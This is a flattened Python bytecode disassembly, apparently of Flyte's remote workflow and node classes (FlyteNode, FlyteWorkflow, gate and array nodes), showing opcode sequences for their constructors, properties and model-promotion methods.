LOAD_FAST o LOAD_ATTR then_node LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD UNPACK_SEQUENCE LOAD_FAST o STORE_ATTR _then_node STORE_FAST converted_sub_workflows JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None STORE_FAST else_node LOAD_FAST block LOAD_ATTR else_node POP_JUMP_IF_FALSE LOAD_GLOBAL FlyteNode LOAD_METHOD promote_from_model LOAD_FAST block LOAD_ATTR else_node LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD UNPACK_SEQUENCE STORE_FAST else_node STORE_FAST converted_sub_workflows LOAD_GLOBAL _workflow_model LOAD_METHOD IfElseBlock LOAD_FAST block LOAD_ATTR case LOAD_FAST block LOAD_ATTR other LOAD_FAST else_node LOAD_FAST block LOAD_ATTR error CALL_METHOD STORE_FAST new_if_else_block LOAD_FAST cls LOAD_FAST new_if_else_block CALL_FUNCTION LOAD_FAST converted_sub_workflows BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteGateNode' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CONST '_workflow_model.GateNode' LOAD_CONST ('model',) BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6a7ae5780, file "f.py", line 372> LOAD_CONST 'FlyteGateNode.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST model LOAD_ATTR signal LOAD_FAST model LOAD_ATTR sleep LOAD_FAST model LOAD_ATTR approve CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteArrayNode' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CONST '_workflow_model.ArrayNode' LOAD_CONST ('model',) BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6a7ae5d20, file "f.py", line 378> LOAD_CONST 'FlyteArrayNode.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_FAST model LOAD_ATTR _parallelism LOAD_FAST model LOAD_ATTR _node LOAD_FAST model LOAD_ATTR _min_success_ratio LOAD_FAST model LOAD_ATTR _min_successes CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteNode' STORE_NAME __qualname__ LOAD_CONST 'A class encapsulating a remote Flyte node.' STORE_NAME __doc__ LOAD_CONST (None, None, None, None, None) LOAD_CONST 'Optional[FlyteTaskNode]' LOAD_CONST 'Optional[FlyteWorkflowNode]' LOAD_CONST 'Optional[FlyteBranchNode]' LOAD_CONST 'Optional[FlyteGateNode]' LOAD_CONST 'Optional[FlyteArrayNode]' LOAD_CONST ('task_node', 'workflow_node', 'branch_node', 'gate_node', 'array_node') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6f4e49ae0, file "f.py", line 391> LOAD_CONST 'FlyteNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST 'Optional[FlyteTaskNode]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object task_node at 0x7fa6f4e498a0, file "f.py", line 437> LOAD_CONST 'FlyteNode.task_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME task_node LOAD_NAME property LOAD_CONST 'Union[FlyteTask, FlyteWorkflow, FlyteLaunchPlan, FlyteBranchNode]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_entity at 0x7fa6f4e49f60, file "f.py", line 441> LOAD_CONST 'FlyteNode.flyte_entity' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_entity LOAD_NAME classmethod LOAD_CONST 'FlyteTask' LOAD_CONST 'FlyteTaskNode' LOAD_CONST ('t', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _promote_task_node at 0x7fa6f4e49420, file "f.py", line 447> LOAD_CONST 'FlyteNode._promote_task_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _promote_task_node LOAD_NAME classmethod LOAD_CONST '_workflow_model.WorkflowNode' LOAD_CONST 'Dict[id_models.Identifier, _workflow_model.WorkflowTemplate]' LOAD_CONST 'Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec]' LOAD_CONST 'Dict[Identifier, FlyteTask]' LOAD_CONST 'Dict[id_models.Identifier, FlyteWorkflow]' LOAD_CONST 'Tuple[FlyteWorkflowNode, Dict[id_models.Identifier, FlyteWorkflow]]' LOAD_CONST ('wn', 'sub_workflows', 'node_launch_plans', 'tasks', 'converted_sub_workflows', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _promote_workflow_node at 0x7fa6f4e499c0, file "f.py", line 451> LOAD_CONST 'FlyteNode._promote_workflow_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _promote_workflow_node LOAD_NAME classmethod LOAD_CONST '_workflow_model.Node' LOAD_CONST 'Optional[Dict[id_models.Identifier, _workflow_model.WorkflowTemplate]]' LOAD_CONST 'Optional[Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec]]' LOAD_CONST 'Dict[id_models.Identifier, FlyteTask]' LOAD_CONST 'Dict[id_models.Identifier, FlyteWorkflow]' LOAD_CONST 'Tuple[Optional[FlyteNode], Dict[id_models.Identifier, FlyteWorkflow]]' LOAD_CONST ('model', 'sub_workflows', 'node_launch_plans', 'tasks', 'converted_sub_workflows', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6f4e49780, file "f.py", line 470> LOAD_CONST 'FlyteNode.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_NAME property LOAD_CONST 'List[FlyteNode]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object upstream_nodes at 0x7fa6f4e49030, file "f.py", line 561> LOAD_CONST 'FlyteNode.upstream_nodes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME upstream_nodes LOAD_NAME property LOAD_CONST 'List[str]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object upstream_node_ids at 0x7fa6f4e49300, file "f.py", line 565> LOAD_CONST 'FlyteNode.upstream_node_ids' MAKE_FUNCTION CALL_FUNCTION STORE_NAME upstream_node_ids LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __repr__ at 0x7fa6f4e491e0, file "f.py", line 569> LOAD_CONST 'FlyteNode.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST task_node POP_JUMP_IF_TRUE LOAD_FAST workflow_node POP_JUMP_IF_TRUE LOAD_FAST branch_node POP_JUMP_IF_TRUE LOAD_FAST gate_node POP_JUMP_IF_TRUE LOAD_FAST array_node POP_JUMP_IF_TRUE LOAD_GLOBAL _user_exceptions LOAD_METHOD FlyteAssertion LOAD_CONST 'An Flyte node must have one of task|workflow|branch|gate|array entity specified at once' CALL_METHOD RAISE_VARARGS LOAD_FAST task_node LOAD_FAST self STORE_ATTR _flyte_task_node LOAD_FAST task_node POP_JUMP_IF_FALSE LOAD_FAST task_node LOAD_ATTR flyte_task LOAD_FAST self STORE_ATTR _flyte_entity JUMP_FORWARD to 84 LOAD_FAST workflow_node POP_JUMP_IF_FALSE LOAD_FAST workflow_node LOAD_ATTR flyte_workflow JUMP_IF_TRUE_OR_POP LOAD_FAST workflow_node LOAD_ATTR flyte_launch_plan LOAD_FAST self STORE_ATTR _flyte_entity JUMP_FORWARD to 84 LOAD_FAST branch_node JUMP_IF_TRUE_OR_POP LOAD_FAST gate_node JUMP_IF_TRUE_OR_POP LOAD_FAST array_node LOAD_FAST self STORE_ATTR _flyte_entity LOAD_GLOBAL super LOAD_GLOBAL FlyteNode LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST id LOAD_FAST metadata LOAD_FAST bindings LOAD_CONST <code object <listcomp> at 0x7fa6a7ae5a50, file "f.py", line 427> LOAD_CONST 'FlyteNode.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST upstream_nodes GET_ITER CALL_FUNCTION BUILD_LIST LOAD_FAST task_node LOAD_FAST workflow_node LOAD_FAST branch_node LOAD_FAST gate_node LOAD_FAST array_node LOAD_CONST ('id', 'metadata', 'inputs', 'upstream_node_ids', 'output_aliases', 'task_node', 'workflow_node', 'branch_node', 'gate_node', 'array_node') CALL_FUNCTION POP_TOP LOAD_FAST upstream_nodes LOAD_FAST self STORE_ATTR _upstream LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST n LOAD_FAST n LOAD_ATTR id LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_task_node RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_entity RETURN_VALUE LOAD_GLOBAL FlyteTaskNode LOAD_METHOD promote_from_model LOAD_FAST t CALL_METHOD RETURN_VALUE LOAD_GLOBAL FlyteWorkflowNode LOAD_METHOD promote_from_model LOAD_FAST wn LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD RETURN_VALUE LOAD_FAST model LOAD_ATTR id STORE_FAST node_model_id LOAD_GLOBAL id LOAD_GLOBAL _constants LOAD_ATTR START_NODE_ID LOAD_GLOBAL _constants LOAD_ATTR END_NODE_ID BUILD_SET COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL logger LOAD_METHOD warning LOAD_CONST 'Should not call promote from model on a start node or end node ' LOAD_FAST model FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST converted_sub_workflows BUILD_TUPLE RETURN_VALUE LOAD_CONST (None, None, None, None, None) UNPACK_SEQUENCE STORE_FAST flyte_task_node STORE_FAST flyte_workflow_node STORE_FAST flyte_branch_node STORE_FAST flyte_gate_node STORE_FAST flyte_array_node LOAD_FAST model LOAD_ATTR task_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST model LOAD_ATTR task_node LOAD_ATTR reference_id LOAD_FAST tasks COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Remote Workflow closure does not have task with id ' LOAD_FAST model LOAD_ATTR task_node LOAD_ATTR reference_id FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST cls LOAD_METHOD _promote_task_node LOAD_FAST tasks LOAD_FAST model LOAD_ATTR task_node LOAD_ATTR reference_id BINARY_SUBSCR CALL_METHOD STORE_FAST flyte_task_node JUMP_FORWARD to 258 LOAD_FAST model LOAD_ATTR workflow_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_METHOD _promote_workflow_node LOAD_FAST model LOAD_ATTR workflow_node LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD UNPACK_SEQUENCE STORE_FAST flyte_workflow_node STORE_FAST converted_sub_workflows JUMP_FORWARD to 258 LOAD_FAST model LOAD_ATTR branch_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL FlyteBranchNode LOAD_METHOD promote_from_model LOAD_FAST model LOAD_ATTR branch_node LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD UNPACK_SEQUENCE STORE_FAST flyte_branch_node STORE_FAST converted_sub_workflows JUMP_FORWARD to 258 LOAD_FAST model LOAD_ATTR gate_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL FlyteGateNode LOAD_METHOD promote_from_model LOAD_FAST model LOAD_ATTR gate_node CALL_METHOD STORE_FAST flyte_gate_node JUMP_FORWARD to 258 LOAD_FAST model LOAD_ATTR array_node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL FlyteArrayNode LOAD_METHOD promote_from_model LOAD_FAST model LOAD_ATTR array_node CALL_METHOD STORE_FAST flyte_array_node JUMP_FORWARD to 258 LOAD_GLOBAL _system_exceptions LOAD_METHOD FlyteSystemException LOAD_CONST 'Bad Node model, neither task nor workflow detected, node: ' LOAD_FAST model FORMAT_VALUE BUILD_STRING CALL_METHOD RAISE_VARARGS SETUP_LOOP to 320 LOAD_FAST model LOAD_ATTR inputs GET_ITER FOR_ITER to 318 STORE_FAST model_input LOAD_FAST model_input LOAD_ATTR binding LOAD_ATTR promise LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST model_input LOAD_ATTR binding LOAD_ATTR promise LOAD_ATTR node_id LOAD_GLOBAL _constants LOAD_ATTR START_NODE_ID COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL _constants LOAD_ATTR GLOBAL_INPUT_NODE_ID LOAD_FAST model_input LOAD_ATTR binding LOAD_ATTR promise STORE_ATTR _node_id EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST cls LOAD_FAST node_model_id BUILD_LIST LOAD_FAST model LOAD_ATTR inputs LOAD_FAST model LOAD_ATTR metadata LOAD_FAST flyte_task_node LOAD_FAST flyte_workflow_node LOAD_FAST flyte_branch_node LOAD_FAST flyte_gate_node LOAD_FAST flyte_array_node LOAD_CONST ('id', 'upstream_nodes', 'bindings', 'metadata', 'task_node', 'workflow_node', 'branch_node', 'gate_node', 'array_node') CALL_FUNCTION LOAD_FAST converted_sub_workflows BUILD_TUPLE RETURN_VALUE LOAD_FAST self LOAD_ATTR _upstream RETURN_VALUE LOAD_GLOBAL list LOAD_GLOBAL sorted LOAD_CONST <code object <genexpr> at 0x7fa6f4e49c90, file "f.py", line 567> LOAD_CONST 'FlyteNode.upstream_node_ids.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR upstream_nodes GET_ITER CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST n LOAD_FAST n LOAD_ATTR id YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'Node(ID: ' LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST ')' BUILD_STRING RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlyteWorkflow' STORE_NAME __qualname__ LOAD_CONST 'A class encapsulating a remote Flyte workflow.' STORE_NAME __doc__ LOAD_CONST (None, None, None, None, False) LOAD_CONST 'id_models.Identifier' LOAD_CONST 'List[FlyteNode]' LOAD_CONST 'Optional[List[FlyteWorkflow]]' LOAD_CONST 'Optional[List[FlyteTask]]' LOAD_CONST 'Optional[Dict[id_models.Identifier, launch_plan_models.LaunchPlanSpec]]' LOAD_CONST 'Optional[compiler_models.CompiledWorkflowClosure]' LOAD_CONST 'bool' LOAD_CONST ('id', 'nodes', 'subworkflows', 'tasks', 'launch_plans', 'compiled_closure', 'should_register') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6f4e49db0, file "f.py", line 576> LOAD_CONST 'FlyteWorkflow.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fa6f4e49540, file "f.py", line 626> LOAD_CONST 'FlyteWorkflow.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_CONST 'Optional[List[FlyteTask]]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_tasks at 0x7fa6f4e49150, file "f.py", line 630> LOAD_CONST 'FlyteWorkflow.flyte_tasks' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_tasks LOAD_NAME property LOAD_CONST 'bool' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object should_register at 0x7fa6f4e49930, file "f.py", line 634> LOAD_CONST 'FlyteWorkflow.should_register' MAKE_FUNCTION CALL_FUNCTION STORE_NAME should_register LOAD_NAME property LOAD_CONST 'List[FlyteWorkflow]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_sub_workflows at 0x7fa6f4e49660, file "f.py", line 638> LOAD_CONST 'FlyteWorkflow.flyte_sub_workflows' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_sub_workflows LOAD_NAME property LOAD_CONST 'str' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object entity_type_text at 0x7fa6f4e49e40, file "f.py", line 642> LOAD_CONST 'FlyteWorkflow.entity_type_text' MAKE_FUNCTION CALL_FUNCTION STORE_NAME entity_type_text LOAD_NAME property LOAD_CONST <code object resource_type at 0x7fa6f4e49ed0, file "f.py", line 646> LOAD_CONST 'FlyteWorkflow.resource_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME resource_type LOAD_NAME property LOAD_CONST 'List[FlyteNode]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object flyte_nodes at 0x7fa6f4e49a50, file "f.py", line 650> LOAD_CONST 'FlyteWorkflow.flyte_nodes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME flyte_nodes LOAD_NAME property LOAD_CONST 'Identifier' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object id at 0x7fa6f4e49390, file "f.py", line 654> LOAD_CONST 'FlyteWorkflow.id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME id LOAD_NAME property LOAD_CONST 'WorkflowMetadata' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata at 0x7fa6f4e495d0, file "f.py", line 661> LOAD_CONST 'FlyteWorkflow.metadata' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata LOAD_NAME property LOAD_CONST 'WorkflowMetadataDefaults' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata_defaults at 0x7fa6f4e49c00, file "f.py", line 668> LOAD_CONST 'FlyteWorkflow.metadata_defaults' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata_defaults LOAD_NAME property LOAD_CONST 'TypedInterface' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object interface at 0x7fa6f4e49d20, file "f.py", line 676> LOAD_CONST 'FlyteWorkflow.interface' MAKE_FUNCTION CALL_FUNCTION STORE_NAME interface LOAD_NAME property LOAD_CONST 'List[Node]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object nodes at 0x7fa6f4e496f0, file "f.py", line 684> LOAD_CONST 'FlyteWorkflow.nodes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME nodes LOAD_NAME property LOAD_CONST 'List[Binding]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object outputs at 0x7fa6d46fe540, file "f.py", line 692> LOAD_CONST 'FlyteWorkflow.outputs' MAKE_FUNCTION CALL_FUNCTION STORE_NAME outputs LOAD_NAME property LOAD_CONST 'Node' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object failure_node at 0x7fa6d46fe420, file "f.py", line 702> LOAD_CONST 'FlyteWorkflow.failure_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME failure_node LOAD_NAME classmethod LOAD_CONST 'List[_workflow_models.Node]' LOAD_CONST 'List[_workflow_models.Node]' LOAD_CONST ('nodes', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_non_system_nodes at 0x7fa6d46fee40, file "f.py", line 711> LOAD_CONST 'FlyteWorkflow.get_non_system_nodes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME get_non_system_nodes LOAD_NAME classmethod LOAD_CONST '_workflow_model.Node' LOAD_CONST 'Optional[Dict[id_models.Identifier, _workflow_model.WorkflowTemplate]]' LOAD_CONST 'Optional[Dict[id_models.Identifier, _launch_plan_model.LaunchPlanSpec]]' LOAD_CONST 'Dict[id_models.Identifier, FlyteTask]' LOAD_CONST 'Dict[id_models.Identifier, FlyteWorkflow]' LOAD_CONST 'Tuple[Optional[FlyteNode], Dict[id_models.Identifier, FlyteWorkflow]]' LOAD_CONST ('model', 'sub_workflows', 'node_launch_plans', 'tasks', 'converted_sub_workflows', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _promote_node at 0x7fa6d46fe150, file "f.py", line 721> LOAD_CONST 'FlyteWorkflow._promote_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _promote_node LOAD_NAME classmethod LOAD_CONST (None, None, None) LOAD_CONST '_workflow_models.WorkflowTemplate' LOAD_CONST 'Optional[Dict[Identifier, _workflow_models.WorkflowTemplate]]' LOAD_CONST 'Optional[Dict[Identifier, FlyteTask]]' LOAD_CONST 'Optional[Dict[Identifier, launch_plan_models.LaunchPlanSpec]]' LOAD_CONST 'FlyteWorkflow' LOAD_CONST ('base_model', 'sub_workflows', 'tasks', 'node_launch_plans', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_model at 0x7fa6d46fe6f0, file "f.py", line 738> LOAD_CONST 'FlyteWorkflow.promote_from_model' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_model LOAD_NAME classmethod LOAD_CONST '_task_models.TaskTemplate' LOAD_CONST 'FlyteTask' LOAD_CONST ('t', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _promote_task at 0x7fa6d46fea50, file "f.py", line 792> LOAD_CONST 'FlyteWorkflow._promote_task' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _promote_task LOAD_NAME classmethod LOAD_CONST (None,) LOAD_CONST 'compiler_models.CompiledWorkflowClosure' LOAD_CONST 'Optional[Dict[id_models, launch_plan_models.LaunchPlanSpec]]' LOAD_CONST ('closure', 'node_launch_plans') BUILD_CONST_KEY_MAP LOAD_CONST <code object promote_from_closure at 0x7fa6d46fe930, file "f.py", line 796> LOAD_CONST 'FlyteWorkflow.promote_from_closure' MAKE_FUNCTION CALL_FUNCTION STORE_NAME promote_from_closure LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE SETUP_LOOP to 50 LOAD_FAST nodes GET_ITER FOR_ITER to 48 STORE_FAST node SETUP_LOOP to 46 LOAD_FAST node LOAD_ATTR upstream_nodes GET_ITER FOR_ITER to 44 STORE_FAST upstream LOAD_FAST upstream LOAD_ATTR id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL _user_exceptions LOAD_METHOD FlyteAssertion LOAD_CONST 'Some nodes contained in the workflow were not found in the workflow description. Please ensure all nodes are either assigned to attributes within the class or an element in a list, dict, or tuple which is stored as an attribute in the class.' CALL_METHOD RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST subworkflows LOAD_FAST self STORE_ATTR _flyte_sub_workflows BUILD_LIST STORE_FAST template_subworkflows LOAD_FAST subworkflows POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fa6f4e49b70, file "f.py", line 604> LOAD_CONST 'FlyteWorkflow.__init__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST subworkflows GET_ITER CALL_FUNCTION STORE_FAST template_subworkflows LOAD_GLOBAL super LOAD_GLOBAL FlyteWorkflow LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_GLOBAL _workflow_models LOAD_ATTR WorkflowTemplate LOAD_FAST id LOAD_FAST metadata LOAD_FAST metadata_defaults LOAD_FAST interface LOAD_FAST nodes LOAD_FAST output_bindings LOAD_CONST ('id', 'metadata', 'metadata_defaults', 'interface', 'nodes', 'outputs') CALL_FUNCTION LOAD_FAST template_subworkflows LOAD_CONST ('template', 'sub_workflows') CALL_FUNCTION POP_TOP LOAD_FAST nodes LOAD_FAST self STORE_ATTR _flyte_nodes LOAD_FAST tasks LOAD_FAST self STORE_ATTR _tasks LOAD_FAST launch_plans LOAD_FAST self STORE_ATTR _launch_plans LOAD_FAST compiled_closure LOAD_FAST self STORE_ATTR _compiled_closure LOAD_CONST None LOAD_FAST self STORE_ATTR _node_map LOAD_FAST id LOAD_ATTR name LOAD_FAST self STORE_ATTR _name LOAD_FAST should_register LOAD_FAST self STORE_ATTR _should_register LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST swf LOAD_FAST swf LOAD_ATTR template LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR _name RETURN_VALUE LOAD_FAST self LOAD_ATTR _tasks RETURN_VALUE LOAD_FAST self LOAD_ATTR _should_register RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_sub_workflows RETURN_VALUE LOAD_CONST 'Workflow' RETURN_VALUE LOAD_GLOBAL id_models LOAD_ATTR ResourceType LOAD_ATTR WORKFLOW RETURN_VALUE LOAD_FAST self LOAD_ATTR _flyte_nodes RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR id RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR metadata RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR metadata_defaults RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR interface RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR nodes RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR outputs RETURN_VALUE LOAD_FAST self LOAD_ATTR template LOAD_ATTR failure_node RETURN_VALUE LOAD_CONST <code object <listcomp> at 0x7fa6d46fe270, file "f.py", line 716> LOAD_CONST 'FlyteWorkflow.get_non_system_nodes.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST nodes GET_ITER CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 32 STORE_FAST n LOAD_FAST n LOAD_ATTR id LOAD_GLOBAL _constants LOAD_ATTR START_NODE_ID LOAD_GLOBAL _constants LOAD_ATTR END_NODE_ID BUILD_SET COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST n LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL FlyteNode LOAD_METHOD promote_from_model LOAD_FAST model LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD RETURN_VALUE LOAD_FAST cls LOAD_METHOD get_non_system_nodes LOAD_FAST base_model LOAD_ATTR nodes CALL_METHOD STORE_FAST base_model_non_system_nodes BUILD_MAP STORE_FAST node_map BUILD_MAP STORE_FAST converted_sub_workflows SETUP_LOOP to 66 LOAD_FAST base_model_non_system_nodes GET_ITER FOR_ITER to 64 STORE_FAST node LOAD_FAST cls LOAD_METHOD _promote_node LOAD_FAST node LOAD_FAST sub_workflows LOAD_FAST node_launch_plans LOAD_FAST tasks LOAD_FAST converted_sub_workflows CALL_METHOD UNPACK_SEQUENCE STORE_FAST flyte_node STORE_FAST converted_sub_workflows LOAD_FAST flyte_node LOAD_FAST node_map LOAD_FAST node LOAD_ATTR id STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 126 LOAD_FAST base_model_non_system_nodes GET_ITER FOR_ITER to 124 STORE_FAST n LOAD_FAST node_map LOAD_FAST n LOAD_ATTR id BINARY_SUBSCR STORE_FAST current SETUP_LOOP to 122 LOAD_FAST n LOAD_ATTR upstream_node_ids GET_ITER FOR_ITER to 120 STORE_FAST upstream_id LOAD_FAST node_map LOAD_FAST upstream_id BINARY_SUBSCR STORE_FAST upstream_node LOAD_FAST current LOAD_ATTR _upstream LOAD_METHOD append LOAD_FAST upstream_node CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK BUILD_LIST STORE_FAST subworkflow_list LOAD_FAST converted_sub_workflows POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fa6d46fe810, file "f.py", line 768> LOAD_CONST 'FlyteWorkflow.promote_from_model.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST converted_sub_workflows LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST subworkflow_list BUILD_LIST STORE_FAST task_list LOAD_FAST tasks POP_JUMP_IF_FALSE LOAD_CONST <code object <listcomp> at 0x7fa6d46fe8a0, file "f.py", line 772> LOAD_CONST 'FlyteWorkflow.promote_from_model.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST tasks LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST task_list LOAD_FAST cls LOAD_FAST base_model LOAD_ATTR id LOAD_GLOBAL list LOAD_FAST node_map LOAD_METHOD values CALL_METHOD CALL_FUNCTION LOAD_FAST base_model LOAD_ATTR metadata LOAD_FAST base_model LOAD_ATTR metadata_defaults LOAD_GLOBAL _interfaces LOAD_ATTR TypedInterface LOAD_METHOD promote_from_model LOAD_FAST base_model LOAD_ATTR interface CALL_METHOD LOAD_FAST base_model LOAD_ATTR outputs 